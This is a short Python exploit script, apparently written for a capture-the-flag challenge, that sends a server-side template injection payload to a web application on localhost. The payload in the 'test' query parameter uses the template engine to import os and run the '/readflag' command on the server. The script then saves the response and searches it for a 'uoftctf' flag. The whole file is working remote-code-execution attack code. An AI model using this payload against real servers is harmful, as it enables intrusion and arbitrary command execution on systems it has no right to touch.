import requests, urllib3
urllib3.disable_warnings()
r = requests.get('https://localhost:5000/welcome/default/index', params={'test': "{{=__import__('os').popen('/readflag').read()}}"}, verify=False)
print('Response length:', len(r.text))
with open('debug_resp.html', 'w', encoding='utf-8') as f:
    f.write(r.text)
print('Saved')

# Let's search more carefully
if 'uoftctf' in r.text:
    idx = r.text.find('uoftctf')
    print(f"FOUND at {idx}: {r.text[idx:idx+100]}")
else:
    print("Not found - checking for 'fake'")
    if 'fake' in r.text:
        for i, line in enumerate(r.text.split('\n')):
            if 'fake' in line:
                print(f"Line {i}: {line}")
